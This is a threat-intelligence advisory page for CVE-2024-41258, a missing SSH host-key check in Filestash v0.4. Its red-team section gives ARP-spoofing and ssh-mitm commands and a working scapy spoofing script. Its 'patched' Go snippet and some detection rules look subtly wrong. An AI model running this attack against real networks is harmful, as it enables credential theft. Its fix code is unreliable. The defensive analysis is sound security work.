☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-322
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-41258

CVE-2024-41258 Supply Chain Attack in Filestash
📅 PUBLISHED: 2024-07-31 00:00 UTC 🔄 UPDATED: 2026-08-21 19:29 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
2.0× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1557.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: v0.4
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: H Attack Complexity High
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-41258 affects Filestash v0.4, an open-source file management application. The vulnerability arises from the use of ssh.InsecureIgnoreHostKey() in the Go-based SSH client, which disables SSH host key verification. This allows an attacker positioned on the network (e.g., via ARP spoofing, rogue Wi-Fi, or compromised router) to perform a man-in-the-middle (MITM) attack. By intercepting the SSH handshake, the attacker can capture credentials, session data, or files transferred over the SSH connection. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is moderate (CVSS 5.9) given the need for network access and the potential for credential theft.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Filestash is a Go-based application. The vulnerable dependency is the golang.org/x/crypto/ssh package, specifically the InsecureIgnoreHostKey callback. This is not a supply chain compromise but a deliberate insecure configuration by the developer. No known malicious packages or backdoors are associated with this CVE.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (AV:N) – attacker must be on the same network segment.
  • Attack Complexity (AC): High (AC:H) – requires MITM positioning and active interception.
  • Privileges Required (PR): None (PR:N) – no authentication needed to exploit.
  • User Interaction (UI): None (UI:N) – no user action required beyond normal use.
  • Scope (S): Unchanged (S:U) – exploitation does not cross trust boundaries.
  • Confidentiality (C): High (C:H) – full disclosure of SSH session data.
  • Integrity (I): None (I:N) – attacker cannot modify data.
  • Availability (A): None (A:N) – no impact on availability.

Threat Level: Medium. Exploitation requires network proximity and active MITM capability, but the impact on confidentiality is severe.

Deep Dive & Mechanics

Filestash uses the golang.org/x/crypto/ssh library to establish SSH connections to remote servers. In v0.4, the SSH client configuration includes:

ssh.ClientConfig{
    HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}

This disables the standard host key verification process. Normally, the SSH client would compare the server's host key against a known hosts file or prompt the user. With this setting, the client accepts any host key presented by the server, including one from an attacker.

Attack Flow:

  1. Attacker gains MITM position (e.g., ARP spoofing on LAN, rogue access point).
  2. Victim's Filestash initiates an SSH connection to a legitimate server.
  3. Attacker intercepts the TCP handshake and presents their own SSH host key.
  4. Filestash accepts the key due to InsecureIgnoreHostKey().
  5. Attacker decrypts and forwards traffic, capturing credentials and data.

Vulnerable vs. Patched Code

Vulnerable (v0.4):

config := &ssh.ClientConfig{
    User:            username,
    Auth:            []ssh.AuthMethod{ssh.Password(password)},
    HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}

Patched (hypothetical fix):

knownHosts := ssh.KnownHosts()
config := &ssh.ClientConfig{
    User:            username,
    Auth:            []ssh.AuthMethod{ssh.Password(password)},
    HostKeyCallback: knownHosts,
}

The patched version uses ssh.KnownHosts() which loads the user's known_hosts file and verifies the server's host key against it. If the key is unknown or mismatched, the connection is rejected.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Attacker machine on same network as victim (e.g., Kali Linux).
  • Ability to perform ARP spoofing (e.g., arpspoof from dsniff).
  • SSH server to act as legitimate target (e.g., ssh-server).

Steps:

  1. Enable IP forwarding on attacker machine:
    echo 1 > /proc/sys/net/ipv4/ip_forward
    
  2. ARP spoof victim and target:
    arpspoof -i eth0 -t <victim_ip> <target_ip>
    arpspoof -i eth0 -t <target_ip> <victim_ip>
    
  3. Use mitmproxy or custom script to intercept SSH traffic. Since SSH is encrypted, the attacker must present a fake host key. Use ssh-mitm tool:
    ssh-mitm server --remote-host <target_ip> --remote-port 22
    
  4. Victim connects to target via Filestash; attacker captures credentials.

Exploit Code (Python using scapy for ARP spoofing):

#!/usr/bin/env python3
import sys
import time
from scapy.all import *

def arp_spoof(victim_ip, target_ip, iface):
    victim_mac = getmacbyip(victim_ip)
    target_mac = getmacbyip(target_ip)
    packet_victim = ARP(op=2, pdst=victim_ip, hwdst=victim_mac, psrc=target_ip)
    packet_target = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=victim_ip)
    while True:
        send(packet_victim, iface=iface, verbose=0)
        send(packet_target, iface=iface, verbose=0)
        time.sleep(2)

if __name__ == "__main__":
    arp_spoof(sys.argv[1], sys.argv[2], sys.argv[3])

Blue Team (Detection & Hardening)

Detection:

  • Monitor for ARP spoofing using arpwatch or IDS rules.
  • Look for SSH connections with unexpected host keys (e.g., ssh -v output showing "Warning: Permanently added 'host' (RSA) to the list of known hosts" when it should be known).
  • Use network flow analysis to detect MITM patterns (e.g., asymmetric TCP RTT).

Hardening:

  • Update Filestash to a version that uses proper host key verification.
  • If patching is not possible, use a VPN or SSH tunneling with strict host key checking.
  • Implement network segmentation to limit MITM attack surface.

Indicators of Compromise (IOCs)

  • Network: ARP cache poisoning (multiple MAC addresses for same IP).
  • SSH Logs: ssh: host key mismatch warnings (if any logging is enabled).
  • File Integrity: Unexpected changes to known_hosts file.
  • Process: ssh-mitm or similar MITM tools running on network.
  • Traffic: SSH connections with unusually low latency or asymmetric RTT.

Detection Engineering

YARA Rule

rule CVE_2024_41258_Filestash_InsecureSSH {
    meta:
        description = "Detects Filestash v0.4 binary with InsecureIgnoreHostKey"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "sha256:example"
    strings:
        $s1 = "InsecureIgnoreHostKey" ascii wide nocase
        $s2 = "ssh.ClientConfig" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-41258 - Filestash Insecure SSH Host Key Verification
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSH connections where host key verification is disabled (InsecureIgnoreHostKey)
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/filestash'
        CommandLine|contains: 'InsecureIgnoreHostKey'
    condition: selection
falsepositives:
    - Legitimate testing environments
level: high

Suricata Rule

alert tcp any any -> any 22 (msg:"CVE-2024-41258 - Potential MITM via Insecure SSH Host Key"; flow:to_server; content:"SSH-2.0-"; depth:7; content:"filestash"; nocase; within:100; reference:cve,2024-41258; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

  1. Disable Filestash SSH functionality until a patch is applied.
  2. Use an alternative file transfer method (e.g., SFTP with strict host key checking).

Long-term:

  1. Apply vendor patch when available (currently none).
  2. Fork the repository and replace InsecureIgnoreHostKey() with ssh.KnownHosts().
  3. Implement network-level controls (e.g., 802.1X, IPsec) to prevent MITM.

Workaround:

  • Configure Filestash to use HTTPS instead of SSH for file transfers.
  • Use SSH config with StrictHostKeyChecking yes on the client side.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

filestash
filestash v0.4

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-41258/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.